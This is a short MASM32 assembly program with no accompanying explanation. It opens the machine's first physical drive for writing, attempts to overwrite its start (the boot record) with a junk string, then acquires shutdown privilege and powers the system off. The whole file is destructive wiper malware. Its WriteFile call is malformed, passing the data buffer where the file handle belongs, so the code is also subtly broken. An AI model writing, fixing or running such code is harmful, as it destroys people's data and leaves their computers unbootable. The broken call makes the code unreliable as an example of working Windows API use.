.586
.model flat, stdcall  ; 32 bit memory model
option casemap :none  ; case sensitive


include windows.inc
includelib user32.lib
include user32.inc
includelib kernel32.lib
include ntdll.inc
includelib ntdll.lib
include msvcrt.inc
includelib msvcrt.lib
include masm32rt.inc

.data
file db "\\.\PhysicalDrive0"
junk db "398468-64-6-86428-96480-264-09gsdfyer"

.code
start:

invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL
invoke WriteFile,addr junk,sizeof junk,sizeof junk,NULL,NULL

push esp
invoke RtlAdjustPrivilege,19,2,0,esp
invoke ExitWindowsEx,EWX_SHUTDOWN,NULL
invoke ExitProcess,NULL
end start